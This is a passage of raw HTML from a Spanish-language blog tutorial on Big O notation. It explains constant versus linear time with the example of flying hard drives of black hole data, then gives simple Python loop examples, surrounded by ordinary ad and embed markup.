#f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;El pasado abril del 2019 se publicó la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/mundo/noticias-47880446&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;primera fotografía de un agujero negro&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Primera imagen de un agujero negro&#34; width=&#34;1200&#34; height=&#34;628&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Primera imagen de un agujero negro&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La fotografía anterior requirió 5 petabytes de datos, lo que son 5000 terabytes de datos (aproximadamente el equivalente a 5000 discos duros de un terabyte de capacidad). Aquí los científicos se enfrentaron con un gran dilema, ¿qué método usar para enviar tanta información?&lt;/p&gt;&#xA;&lt;p&gt;¿Qué pasaría si intentaban enviar esa información por internet? El tiempo que toma enviar información por internet aumenta con la cantidad de información a enviar, a mayor cantidad de información mayor tiempo de transmisión.&lt;/p&gt;&#xA;&lt;p&gt;Haciendo un cálculo sencillo, con una velocidad de descarga de 50 MB/s tomaría aproximadamente 1157 días. ¡Demasiado tiempo!&lt;/p&gt;&#xA;&lt;p&gt;¿Y si enviaban la información en físico? Bien, esto tomaría a lo mucho la cantidad de horas del vuelo más largo que son 19 horas aproximadamente, descontando el tiempo que toma copiar la información a un medio físico (un disco duro), lo cual me atrevo a decir que consumiría menos de 1157 días.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué hubiera pasado si en lugar de ser 5 petabytes hubieran sido 5 GB de datos? la respuesta hubiera sido obvia; enviar la información por internet. Sin embargo, al avión le tomará el mismo tiempo transportar cualquier cantidad de información, ya sea 1 MB, 1 GB o 1 PB; 19 horas.&lt;/p&gt;&#xA;&lt;p&gt;En este caso el tiempo es constante. ¿Ya sabes que decidieron? Así es, los científicos optaron por enviar los discos duros en avión.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;},{\&#34;description\&#34;:\&#34;Este es el recurso que leí, y por lo tanto puedo recomendar para aprender algoritmos, mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre algoritmos. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del Algorithm design manual\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Algorithm design manual y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender lo necesario sobre algoritmos?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Cantidad de información&lt;/th&gt;&#xA;          &lt;th&gt;Internet (a 50 MB/s)&lt;/th&gt;&#xA;          &lt;th&gt;Avión&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 GB&lt;/td&gt;&#xA;          &lt;td&gt;20 segundos&lt;/td&gt;&#xA;          &lt;td&gt;19 horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;10 GB&lt;/td&gt;&#xA;          &lt;td&gt;200 segundos&lt;/td&gt;&#xA;          &lt;td&gt;19 horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 TB (1000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;20000 segundos (5 horas)&lt;/td&gt;&#xA;          &lt;td&gt;19 horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;50 TB (50000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;1000000 segundos (277 horas)&lt;/td&gt;&#xA;          &lt;td&gt;19 horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;5 PB (5000000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;100000000 segundos (1157 días)&lt;/td&gt;&#xA;          &lt;td&gt;19 horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Con una velocidad de internet cercana a los límites actuales, usar internet para transmitir datos es mejor mientras más pequeña sea la cantidad de información. Mientras que transportar discos duros físicamente es mejor para cantidades inmensas de información. Lo anterior debido a que &lt;strong&gt;el tiempo de transporte del avión es constante&lt;/strong&gt;, mientras que &lt;strong&gt;el tiempo de transmisión de información del internet es lineal&lt;/strong&gt;; aumenta con la cantidad de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;y-esto-que-tiene-que-ver-con-el-codigo&#34;&gt;¿Y esto que tiene que ver con el código?&lt;/h2&gt;&#xA;&lt;p&gt;Con el código sucede lo mismo, cada proceso que nosotros efectuemos sobre los datos para transformarlos consume tiempo y hay diferentes maneras de procesar los datos, hay algoritmos cuyo tiempo de ejecución es constante, para otros aumenta de manera lineal con la cantidad de datos que procesan, mientras que otros exponencialmente.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, algunos ofrecen un mejor rendimiento con pocos datos, mientras que otros brillan a la hora de procesar mucha información. Por ejemplo los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/databases/construi-un-simulador-visual-de-un-bloom-filter/&#34;&gt;Bloom Filters&lt;/a&gt;&#xA; con un rendimiento excepcional cuando se trata de corroborar si un elemento pertenece a un set. O las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/swiss-tables-el-hashmap-con-rendimiento-superior/&#34;&gt;Swiss Tables&lt;/a&gt;&#xA; que usan el paralelismo para mejorar el performance al buscar llaves.&lt;/p&gt;&#xA;&lt;p&gt;A veces cuando no tenemos ni idea de algoritmos nos preguntamos, ¿qué más da si nuestro código se ejecuta en 0.0001 segundos o en 0.001 segundos?, para fines prácticos es lo mismo ¿no? &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;Obsesionarse con el rendimiento&lt;/a&gt;&#xA; del algoritmo correcto puede parecernos trivial para valores tan pequeños y si a eso le agregamos la vertiginosa velocidad de procesamiento del equipo moderno caeremos en el error de no darle la importancia correcta a los algoritmos.&lt;/p&gt;&#xA;&lt;p&gt;Pero ahora preguntémonos, ¿qué pasará cuando el número de usuarios se incremente a 1000, a 10 000, a 10 000 000?, es entonces cuando las milésimas de segundos se pueden volverse horas o días y, entonces, vislumbramos la verdadera importancia de elegir un algoritmo con un rendimiento adecuado.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-calcular-o-leer-el-rendimiento-big-o&#34;&gt;¿Cómo calcular o leer el rendimiento Big O?&lt;/h2&gt;&#xA;&lt;p&gt;Para evaluar este rendimiento se utiliza una notación llamada Big O. Esta nos dice como se va a comportar el tiempo de ejecución de un algoritmo en función de su input (entrada).&lt;/p&gt;&#xA;&lt;p&gt;A mayor longitud de los datos de entrada mayor será el tiempo en recorrerlos y procesarlos, pero ¿en que proporción aumenta este tiempo? No es lo mismo un tiempo constante que un tiempo que aumente en proporción directa o proporción exponencial.&lt;/p&gt;&#xA;&lt;p&gt;Ciertamente un algoritmo que aumente en proporción exponencial no será algo lindo con lo que lidiar cuando tengamos que recorrer cantidades descomunales de datos. Para saber como se comporta nuestro algoritmo necesitamos analizarlo y hay ciertas reglas que hay que considerar en la notación big O.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;los-pasos-se-suman&#34;&gt;Los pasos se suman&lt;/h3&gt;&#xA;&lt;p&gt;Empezaremos con una función sencilla que, como ya habrás adivinado, &lt;strong&gt;tardará más tiempo en ejecutarse conforme más grande sea el tamaño del array&lt;/strong&gt; que le pasamos como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# un paso que llamaremos n&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta función pasará por el array una sola vez. Como solo tiene &lt;strong&gt;un paso&lt;/strong&gt;, es decir &amp;rsquo;n&amp;rsquo;, decimos que su tiempo de ejecución es O(n).&lt;/p&gt;&#xA;&lt;h3 id=&#34;las-constantes-se-descartan&#34;&gt;Las constantes se descartan&lt;/h3&gt;&#xA;&lt;p&gt;Ahora mira este código, tiene dos pasos que procesan el mismo array de valores.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArrayDoubled&lt;/span&gt;(Array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Array: &lt;span style=&#34;color:#78787e&#34;&gt;# primer paso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Array: &lt;span style=&#34;color:#78787e&#34;&gt;# segundo paso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba estaríamos tentados a decir que nuestra función tendría un tiempo de ejecución igual a n + n, es decir O(2n), sin embargo &lt;strong&gt;en notación Big O las constantes no cuentan&lt;/strong&gt;, el 2 se descarta, quedando O(n) nuevamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# un paso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementY &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# un paso por cada paso anterior&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX, elementY)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el caso anterior seguimos teniendo un mismo input, pero esta vez el tiempo de ejecución dependerá de la longitud del algoritmo, multiplicado por la misma longitud del algoritmo, pues por cada elemento del array se recorrera nuevamente el array, es decir n x n. Esto se simboliza con un n2, por lo que el tiempo que tarda en correr el algoritmo será de O(n2). Es decir el tiempo que tarda en ejecutarse la función crecerá de forma exponencial.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cada-input-unico-se-toma-como-una-variable-diferente&#34;&gt;Cada input único se toma como una variable diferente&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArrayMultiplication&lt;/span&gt;(ArrayOne, ArrayTwo):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementInArrayOne &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; ArrayOne: &lt;span style=&#34;color:#78787e&#34;&gt;# un paso que depende de que tan largo es ArrayOne&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementInArrayTwo &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; ArrayTwo: &lt;span style=&#34;color:#78787e&#34;&gt;# un paso que depende de que tan largo ArrayTwo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementInArrayOne&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;elementInArrayTwo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Checa la función anterior, en esta función también podriamos creer que tendriamos un O(n2), pero eso implicaría que ambos arrays son iguales, es decir n x n, ¿qué pasa si ArrayTwo es sumamente pequeño y ArrayOne sumamente grande?&lt;/p&gt;&#xA;&lt;p&gt;Para que n x n se cumpla significa que solo debe haber un término (n) y en este caso tenemos dos arrays diferentes, cada uno con su longitud particular, por lo que sería más correcto decir que O(a x b).&lt;/p&gt;&#xA;&lt;p&gt;De esta manera expresamos que el tiempo de ejecución de nuestra función depende de dos variables: a y b. Si &amp;lsquo;a&amp;rsquo; aumenta nuestro tiempo de ejecución también, si &amp;lsquo;b&amp;rsquo; disminuye nuestro tiempo de ejecución decrece y viceversa.&lt;/p&gt;&#xA;&lt;h3 id=&#34;los-terminos-no-dominantes-se-descartan&#34;&gt;Los términos no dominantes se descartan&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 